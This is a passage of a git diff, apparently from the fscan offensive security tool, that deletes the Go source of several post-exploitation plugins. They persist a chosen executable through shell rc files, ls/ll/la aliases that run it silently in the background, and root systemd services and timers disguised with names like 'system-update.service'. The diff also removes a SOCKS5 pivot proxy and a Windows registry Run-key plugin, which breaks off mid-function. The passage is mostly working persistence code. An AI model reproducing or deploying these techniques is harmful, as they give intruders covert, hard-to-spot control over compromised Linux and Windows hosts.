复制文件内容 -func (p *ShellEnvPlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// addToUserConfigs 添加到用户shell配置文件 -func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) { - usr, err := user.Current() - if err != nil { - return nil, err - } - - configFiles := []string{ - filepath.Join(usr.HomeDir, ".bashrc"), - filepath.Join(usr.HomeDir, ".profile"), - filepath.Join(usr.HomeDir, ".bash_profile"), - filepath.Join(usr.HomeDir, ".zshrc"), - } - - var modified []string - execLine := p.generateExecLine(execPath) - - for _, configFile := range configFiles { - if p.addToConfigFile(configFile, execLine) { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何用户配置文件") - } - - return modified, nil -} - -// addToGlobalConfigs 添加到全局shell配置文件 -func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) { - configFiles := []string{ - "/etc/bash.bashrc", - "/etc/profile", - "/etc/zsh/zshrc", - "/etc/profile.d/custom.sh", - } - - var modified []string - execLine := p.generateExecLine(execPath) - - for _, configFile := range configFiles { - // 对于profile.d,需要先创建目录 - if strings.Contains(configFile, "profile.d") { - os.MkdirAll(filepath.Dir(configFile), 0755) - } - - if p.addToConfigFile(configFile, execLine) { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何全局配置文件") - } - - return modified, nil -} - -// addAliases 添加命令别名 -func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) { - usr, err := user.Current() - if err != nil { - return nil, err - } - - aliasFiles := []string{ - filepath.Join(usr.HomeDir, ".bash_aliases"), - filepath.Join(usr.HomeDir, ".aliases"), - } - - // 生成常用命令别名 - aliases := []string{ - fmt.Sprintf("alias ls='%s; /bin/ls'", execPath), - fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath), - fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath), - } - - var modified []string - for _, aliasFile := range aliasFiles { - content := strings.Join(aliases, "\n") + "\n" - if p.addToConfigFile(aliasFile, content) { - modified = append(modified, aliasFile) - } - } - - return modified, nil -} - -// addToPath 添加到PATH环境变量 -func (p *ShellEnvPlugin) addToPath(dirPath string) error { - usr, err := user.Current() - if err != nil { - return err - } - - configFile := filepath.Join(usr.HomeDir, ".bashrc") - pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath) - - if p.addToConfigFile(configFile, pathLine) { - return nil - } - - return fmt.Errorf("无法添加PATH环境变量") -} - -// addToConfigFile 添加内容到配置文件 -func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool { - // 读取现有内容 - existingContent := "" - if data, err := os.ReadFile(configFile); err == nil { - existingContent = string(data) - } - - // 检查是否已存在 - if strings.Contains(existingContent, content) { - return true // 已存在,视为成功 - } - - // 添加新内容 - if !strings.HasSuffix(existingContent, "\n") && existingContent != "" { - existingContent += "\n" - } - existingContent += content + "\n" - - // 写入文件 - return os.WriteFile(configFile, []byte(existingContent), 0644) == nil -} - -// generateExecLine 生成执行命令行 -func (p *ShellEnvPlugin) generateExecLine(execPath string) string { - if p.isScriptFile() { - return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath) - } else { - return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath) - } -} - -// isScriptFile 检查是否为脚本文件 -func (p *ShellEnvPlugin) isScriptFile() bool { - ext := strings.ToLower(filepath.Ext(p.targetFile)) - return ext == ".sh" || ext == ".bash" || ext == ".zsh" -} - -// GetLocalData 获取Shell环境变量持久化本地数据 -func (p *ShellEnvPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "shellenv" - data["platform"] = runtime.GOOS - data["target_file"] = p.targetFile - data["persistence_method"] = "Shell Environment" - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *ShellEnvPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("Shell环境变量持久化完成,目标文件: %s", p.targetFile), - Data: data, - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "persistence_method": "Shell Environment", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *ShellEnvPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("Shell环境变量持久化插件\n") - info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) - info.WriteString("支持平台: Linux\n") - info.WriteString("功能: 通过修改shell配置文件实现持久化\n") - info.WriteString("方法: .bashrc、.profile、别名、PATH环境变量\n") - info.WriteString("支持文件: .sh脚本和ELF可执行文件\n") - - return info.String() -} - -// RegisterShellEnvPlugin 注册Shell环境变量持久化插件 -func RegisterShellEnvPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "shellenv", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux Shell环境变量持久化插件,通过修改shell配置文件实现持久化", - Category: "local", - Tags: []string{"shellenv", "local", "persistence", "linux"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewShellEnvPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("shellenv", factory) -} - -// init 插件注册函数 -func init() { - RegisterShellEnvPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/socks5proxy/plugin.go b/plugins/local_backup/socks5proxy/plugin.go deleted file mode 100644 index 80b1362..0000000 --- a/plugins/local_backup/socks5proxy/plugin.go +++ /dev/null @@ -1,377 +0,0 @@ -package socks5proxy - -import ( - "context" - "fmt" - "io" - "net" - "os" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构 -type Socks5ProxyPlugin struct { - *local.BaseLocalPlugin - port int - listener net.Listener -} - -// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本 -func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { - // 从全局参数获取SOCKS5端口 - port := common.Socks5ProxyPort - if port <= 0 { - port = 1080 // 默认端口 - } - - metadata := &base.PluginMetadata{ - Name: "socks5proxy", - Version: "1.0.0", - Author: "fscan-team", - Description: "本地SOCKS5代理服务器插件,支持HTTP/HTTPS代理", - Category: "local", - Tags: []string{"local", "proxy", "socks5", "network"}, - Protocols: []string{"local"}, - } - - plugin := &Socks5ProxyPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - port: port, - } - - // 设置支持的平台(支持Windows、Linux和macOS) - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 不需要特殊权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *Socks5ProxyPlugin) Initialize() error { - // 调用基类初始化 - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行SOCKS5代理扫描 - 简化版本 -func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("启动SOCKS5代理服务器...") - - // 启动SOCKS5代理服务器 - common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port)) - - // 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到 - err := p.startSocks5Server(ctx, p.port) - if err != nil { - common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err)) - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - result := &base.ScanResult{ - Success: true, - Service: "SOCKS5Proxy", - Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS), - Extra: map[string]interface{}{ - "port": p.port, - "platform": runtime.GOOS, - "protocol": "socks5", - "status": "completed", - }, - } - - return result, nil -} - -// startSocks5Server 启动SOCKS5代理服务器 - 核心实现 -func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int) error { - // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port)) - if err != nil { - return fmt.Errorf("监听端口失败: %v", err) - } - defer listener.Close() - - p.listener = listener - common.LogSuccess(fmt.Sprintf("SOCKS5代理服务器已在 127.0.0.1:%d 上启动", port)) - - // 设置SOCKS5代理为活跃状态,告诉主程序保持运行 - common.Socks5ProxyActive = true - defer func() { - // 确保退出时清除活跃状态 - common.Socks5ProxyActive = false - }() - - // 主循环处理连接 - for { - select { - case <-ctx.Done(): - common.LogBase("SOCKS5代理服务器被上下文取消") - return ctx.Err() - default: - } - - // 设置监听器超时,以便能响应上下文取消 - if tcpListener, ok := listener.(*net.TCPListener); ok { - tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) - } - - conn, err := listener.Accept() - if err != nil { - // 检查是否是超时错误 - if netErr, ok := err.(net.Error); ok && netErr.Timeout() { - continue // 超时继续循环 - } - common.LogError(fmt.Sprintf("接受连接失败: %v", err)) - continue - } - - // 并发处理客户端连接 - go p.handleClient(conn) - } -} - -// handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) { - defer clientConn.Close() - - // SOCKS5握手阶段 - if err := p.handleSocks5Handshake(clientConn); err != nil { - common.LogError(fmt.Sprintf("SOCKS5握手失败: %v", err)) - return - } - - // SOCKS5请求阶段 - targetConn, err := p.handleSocks5Request(clientConn) - if err != nil { - common.LogError(fmt.Sprintf("SOCKS5请求处理失败: %v", err)) - return - } - defer targetConn.Close() - - common.LogSuccess("建立SOCKS5代理连接") - - // 双向数据转发 - p.relayData(clientConn, targetConn) -} - -// handleSocks5Handshake 处理SOCKS5握手 -func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { - // 读取客户端握手请求 - buffer := make([]byte, 256) - n, err := conn.Read(buffer) - if err != nil { - return fmt.Errorf("读取握手请求失败: %v", err) - } - - if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5 - return fmt.Errorf("不支持的SOCKS版本") - } - - // 发送握手响应(无认证) - response := []byte{0x05, 0x00} // 版本5,无认证 - _, err = conn.Write(response) - if err != nil { - return fmt.Errorf("发送握手响应失败: %v", err) - } - - return nil -} - -// handleSocks5Request 处理SOCKS5连接请求 -func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, error) { - // 读取连接请求 - buffer := make([]byte, 256) - n, err := clientConn.Read(buffer) - if err != nil { - return nil, fmt.Errorf("读取连接请求失败: %v", err) - } - - if n < 7 || buffer[0] != 0x05 { - return nil, fmt.Errorf("无效的SOCKS5请求") - } - - cmd := buffer[1] - if cmd != 0x01 { // 只支持CONNECT命令 - // 发送不支持的命令响应 - response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - clientConn.Write(response) - return nil, fmt.Errorf("不支持的命令: %d", cmd) - } - - // 解析目标地址 - addrType := buffer[3] - var targetHost string - var targetPort int - - switch addrType { - case 0x01: // IPv4 - if n < 10 { - return nil, fmt.Errorf("IPv4地址格式错误") - } - targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7]) - targetPort = int(buffer[8])<<8 + int(buffer[9]) - case 0x03: // 域名 - if n < 5 { - return nil, fmt.Errorf("域名格式错误") - } - domainLen := int(buffer[4]) - if n < 5+domainLen+2 { - return nil, fmt.Errorf("域名长度错误") - } - targetHost = string(buffer[5 : 5+domainLen]) - targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1]) - case 0x04: // IPv6 - if n < 22 { - return nil, fmt.Errorf("IPv6地址格式错误") - } - // IPv6地址解析(简化实现) - targetHost = net.IP(buffer[4:20]).String() - targetPort = int(buffer[20])<<8 + int(buffer[21]) - default: - // 发送不支持的地址类型响应 - response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - clientConn.Write(response) - return nil, fmt.Errorf("不支持的地址类型: %d", addrType) - } - - // 连接目标服务器 - targetAddr := fmt.Sprintf("%s:%d", targetHost, targetPort) - targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second) - if err != nil { - // 发送连接失败响应 - response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - clientConn.Write(response) - return nil, fmt.Errorf("连接目标服务器失败: %v", err) - } - - // 发送成功响应 - response := make([]byte, 10) - response[0] = 0x05 // SOCKS版本 - response[1] = 0x00 // 成功 - response[2] = 0x00 // 保留 - response[3] = 0x01 // IPv4地址类型 - // 绑定地址和端口(使用127.0.0.1:port) - copy(response[4:8], []byte{127, 0, 0, 1}) - response[8] = byte(p.port >> 8) - response[9] = byte(p.port & 0xff) - - _, err = clientConn.Write(response) - if err != nil { - targetConn.Close() - return nil, fmt.Errorf("发送成功响应失败: %v", err) - } - - common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr)) - return targetConn, nil -} - -// relayData 双向数据转发 -func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) { - done := make(chan struct{}, 2) - - // 客户端到目标服务器 - go func() { - defer func() { done <- struct{}{} }() - io.Copy(targetConn, clientConn) - targetConn.Close() - }() - - // 目标服务器到客户端 - go func() { - defer func() { done <- struct{}{} }() - io.Copy(clientConn, targetConn) - clientConn.Close() - }() - - // 等待其中一个方向完成 - <-done -} - -// GetLocalData 获取SOCKS5代理本地数据 -func (p *Socks5ProxyPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - // 获取系统信息 - data["plugin_type"] = "socks5proxy" - data["platform"] = runtime.GOOS - data["arch"] = runtime.GOARCH - data["port"] = p.port - data["protocol"] = "socks5" - - if homeDir, err := os.UserHomeDir(); err == nil { - data["home_dir"] = homeDir - } - - if workDir, err := os.Getwd(); err == nil { - data["work_dir"] = workDir - } - - return data, nil -} - -// ExtractData 提取数据(SOCKS5代理主要是服务功能) -func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("SOCKS5代理服务器运行完成,端口: %d", p.port), - Data: data, - Extra: map[string]interface{}{ - "port": p.port, - "protocol": "socks5", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *Socks5ProxyPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("SOCKS5代理服务器插件\n") - info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("功能: 提供本地SOCKS5代理服务,支持TCP连接转发\n") - info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n") - info.WriteString("实现方式: 纯Go原生,无外部依赖\n") - - return info.String() -} - -// RegisterSocks5ProxyPlugin 注册SOCKS5代理插件 -func RegisterSocks5ProxyPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "socks5proxy", - Version: "1.0.0", - Author: "fscan-team", - Description: "本地SOCKS5代理服务器插件,支持HTTP/HTTPS代理", - Category: "local", - Tags: []string{"socks5proxy", "local", "proxy", "network"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewSocks5ProxyPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("socks5proxy", factory) -} - -// init 插件注册函数 -func init() { - RegisterSocks5ProxyPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/systemdservice/plugin.go b/plugins/local_backup/systemdservice/plugin.go deleted file mode 100644 index 5cca78f..0000000 --- a/plugins/local_backup/systemdservice/plugin.go +++ /dev/null @@ -1,490 +0,0 @@ -//go:build linux - -package systemdservice - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构 -type SystemdServicePlugin struct { - *local.BaseLocalPlugin - targetFile string -} - -// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本 -func NewSystemdServicePlugin() *SystemdServicePlugin { - // 从全局参数获取目标文件路径 - targetFile := common.PersistenceTargetFile - if targetFile == "" { - targetFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "systemdservice", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "linux", "systemd", "service"}, - Protocols: []string{"local"}, - } - - plugin := &SystemdServicePlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - targetFile: targetFile, - } - - // 只支持Linux平台 - plugin.SetPlatformSupport([]string{"linux"}) - // 需要root权限来创建系统服务 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Initialize 初始化插件 -func (p *SystemdServicePlugin) Initialize() error { - if p.targetFile == "" { - return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { - return fmt.Errorf("目标文件不存在: %s", p.targetFile) - } - - // 检查systemctl是否可用 - if _, err := exec.LookPath("systemctl"); err != nil { - return fmt.Errorf("systemctl命令不可用: %v", err) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行系统服务持久化 - 简化版本 -func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - if runtime.GOOS != "linux" { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("系统服务持久化只支持Linux平台"), - }, nil - } - - common.LogBase("开始系统服务持久化...") - common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile)) - - // 执行持久化操作 - results := make([]string, 0) - - // 1. 复制文件到系统目录 - servicePath, err := p.copyToServicePath() - if err != nil { - common.LogError(fmt.Sprintf("复制文件失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath)) - common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath)) - } - - // 2. 创建systemd服务文件 - serviceFiles, err := p.createSystemdServices(servicePath) - if err != nil { - common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", "))) - common.LogSuccess("已创建systemd服务") - } - - // 3. 启用并启动服务 - err = p.enableAndStartServices(serviceFiles) - if err != nil { - common.LogError(fmt.Sprintf("启动服务失败: %v", err)) - } else { - results = append(results, "服务已启用并启动") - common.LogSuccess("服务已启用并启动") - } - - // 4. 创建用户级服务 - userServiceFiles, err := p.createUserServices(servicePath) - if err != nil { - common.LogError(fmt.Sprintf("创建用户服务失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", "))) - common.LogSuccess("已创建用户服务") - } - - // 5. 创建定时器服务 - err = p.createTimerServices(servicePath) - if err != nil { - common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err)) - } else { - results = append(results, "已创建systemd定时器") - common.LogSuccess("已创建systemd定时器") - } - - success := len(results) > 0 - - result := &base.ScanResult{ - Success: success, - Service: "SystemdServicePersistence", - Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)), - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "platform": runtime.GOOS, - "methods": results, - "status": "completed", - }, - } - - return result, nil -} - -// copyToServicePath 复制文件到服务目录 -func (p *SystemdServicePlugin) copyToServicePath() (string, error) { - // 选择服务目录 - serviceDirs := []string{ - "/usr/local/bin", - "/opt/local", - "/usr/bin", - } - - var targetDir string - for _, dir := range serviceDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("无法创建服务目录") - } - - // 生成服务可执行文件名 - basename := filepath.Base(p.targetFile) - serviceName := strings.TrimSuffix(basename, filepath.Ext(basename)) - if serviceName == "" { - serviceName = "system-service" - } - - targetPath := filepath.Join(targetDir, serviceName) - - // 复制文件 - err := p.copyFile(p.targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *SystemdServicePlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// createSystemdServices 创建systemd服务文件 -func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) { - systemDir := "/etc/systemd/system" - if err := os.MkdirAll(systemDir, 0755); err != nil { - return nil, err - } - - services := []struct { - name string - content string - enable bool - }{ - { - name: "system-update.service", - enable: true, - content: fmt.Sprintf(`[Unit] -Description=System Update Service -After=network.target -Wants=network-online.target - -[Service] -Type=simple -User=root -ExecStart=%s -Restart=always -RestartSec=60 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=multi-user.target -`, execPath), - }, - { - name: "system-monitor.service", - enable: true, - content: fmt.Sprintf(`[Unit] -Description=System Monitor Service -After=network.target - -[Service] -Type=forking -User=root -ExecStart=%s -PIDFile=/var/run/system-monitor.pid -Restart=on-failure -StandardOutput=null -StandardError=null - -[Install] -WantedBy=multi-user.target -`, execPath), - }, - { - name: "network-check.service", - enable: false, - content: fmt.Sprintf(`[Unit] -Description=Network Check Service -After=network-online.target -Wants=network-online.target - -[Service] -Type=oneshot -User=root -ExecStart=%s -StandardOutput=null -StandardError=null -`, execPath), - }, - } - - var created []string - for _, service := range services { - servicePath := filepath.Join(systemDir, service.name) - if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil { - created = append(created, service.name) - } - } - - if len(created) == 0 { - return nil, fmt.Errorf("无法创建任何systemd服务文件") - } - - return created, nil -} - -// enableAndStartServices 启用并启动服务 -func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error { - var errors []string - - for _, serviceName := range serviceFiles { - // 重新加载systemd配置 - exec.Command("systemctl", "daemon-reload").Run() - - // 启用服务 - if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil { - errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err)) - } - - // 启动服务 - if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil { - errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err)) - } - } - - if len(errors) > 0 { - return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; ")) - } - - return nil -} - -// createUserServices 创建用户级服务 -func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) { - userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") - if userDir == "/.config/systemd/user" { // HOME为空的情况 - userDir = "/tmp/.config/systemd/user" - } - - if err := os.MkdirAll(userDir, 0755); err != nil { - return nil, err - } - - userServices := []string{ - "user-service.service", - "background-task.service", - } - - userServiceContent := fmt.Sprintf(`[Unit] -Description=User Background Service -After=graphical-session.target - -[Service] -Type=simple -ExecStart=%s -Restart=always -RestartSec=30 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=default.target -`, execPath) - - var created []string - for _, serviceName := range userServices { - servicePath := filepath.Join(userDir, serviceName) - if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil { - created = append(created, serviceName) - - // 启用用户服务 - exec.Command("systemctl", "--user", "enable", serviceName).Run() - exec.Command("systemctl", "--user", "start", serviceName).Run() - } - } - - return created, nil -} - -// createTimerServices 创建定时器服务 -func (p *SystemdServicePlugin) createTimerServices(execPath string) error { - systemDir := "/etc/systemd/system" - - // 创建定时器服务文件 - timerService := fmt.Sprintf(`[Unit] -Description=Scheduled Task Service -Wants=scheduled-task.timer - -[Service] -Type=oneshot -ExecStart=%s -StandardOutput=null -StandardError=null -`, execPath) - - // 创建定时器文件 - timerConfig := `[Unit] -Description=Run Scheduled Task Every 10 Minutes -Requires=scheduled-task.service - -[Timer] -OnBootSec=5min -OnUnitActiveSec=10min -AccuracySec=1s - -[Install] -WantedBy=timers.target -` - - // 写入服务文件 - serviceFile := filepath.Join(systemDir, "scheduled-task.service") - if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil { - return err - } - - // 写入定时器文件 - timerFile := filepath.Join(systemDir, "scheduled-task.timer") - if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil { - return err - } - - // 启用定时器 - exec.Command("systemctl", "daemon-reload").Run() - exec.Command("systemctl", "enable", "scheduled-task.timer").Run() - exec.Command("systemctl", "start", "scheduled-task.timer").Run() - - return nil -} - -// GetLocalData 获取系统服务持久化本地数据 -func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "systemdservice" - data["platform"] = runtime.GOOS - data["target_file"] = p.targetFile - data["persistence_method"] = "Systemd Service" - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - // 检查systemd版本 - if output, err := exec.Command("systemctl", "--version").Output(); err == nil { - data["systemd_version"] = strings.Split(string(output), "\n")[0] - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile), - Data: data, - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "persistence_method": "Systemd Service", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *SystemdServicePlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("系统服务持久化插件\n") - info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) - info.WriteString("支持平台: Linux (需要systemd)\n") - info.WriteString("功能: 通过systemd服务实现持久化\n") - info.WriteString("方法: 系统服务、用户服务、定时器服务\n") - info.WriteString("权限要求: 需要root权限创建系统服务\n") - info.WriteString("自动启动: 开机自启动和崩溃重启\n") - - return info.String() -} - -// RegisterSystemdServicePlugin 注册系统服务持久化插件 -func RegisterSystemdServicePlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "systemdservice", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化", - Category: "local", - Tags: []string{"systemdservice", "local", "persistence", "linux"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewSystemdServicePlugin() - }, - ) - - base.GlobalPluginRegistry.Register("systemdservice", factory) -} - -// init 插件注册函数 -func init() { - RegisterSystemdServicePlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/winregistry/plugin.go b/plugins/local_backup/winregistry/plugin.go deleted file mode 100644 index 0e93515..0000000 --- a/plugins/local_backup/winregistry/plugin.go +++ /dev/null @@ -1,259 +0,0 @@ -//go:build windows - -package winregistry - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// WinRegistryPlugin Windows注册表持久化插件 - 使用简化架构 -type WinRegistryPlugin struct { - *local.BaseLocalPlugin - pePath string -} - -// NewWinRegistryPlugin 创建Windows注册表持久化插件 - 简化版本 -func NewWinRegistryPlugin() *WinRegistryPlugin { - // 从全局参数获取PE文件路径 - peFile := common.WinPEFile - if peFile == "" { - peFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "winregistry", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows注册表持久化插件,通过注册表Run键等实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "windows", "registry"}, - Protocols: []string{"local"}, - } - - plugin := &WinRegistryPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - pePath: peFile, - } - - // 只支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 需要管理员权限修改注册表 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Initialize 初始化插件 -func (p *WinRegistryPlugin) Initialize() error { - if p.pePath == "" { - return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.pePath); os.IsNotExist(err) { - return fmt.Errorf("PE文件不存在: %s", p.pePath) - } - - // 检查文件类型 - if !p.isValidPEFile(p.pePath) { - return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行Windows注册表持久化 - 简化版本 -func (p *WinRegistryPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始Windows注册表持久化...") - - registryKeys, err := p.createRegistryPersistence(p.pePath) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - 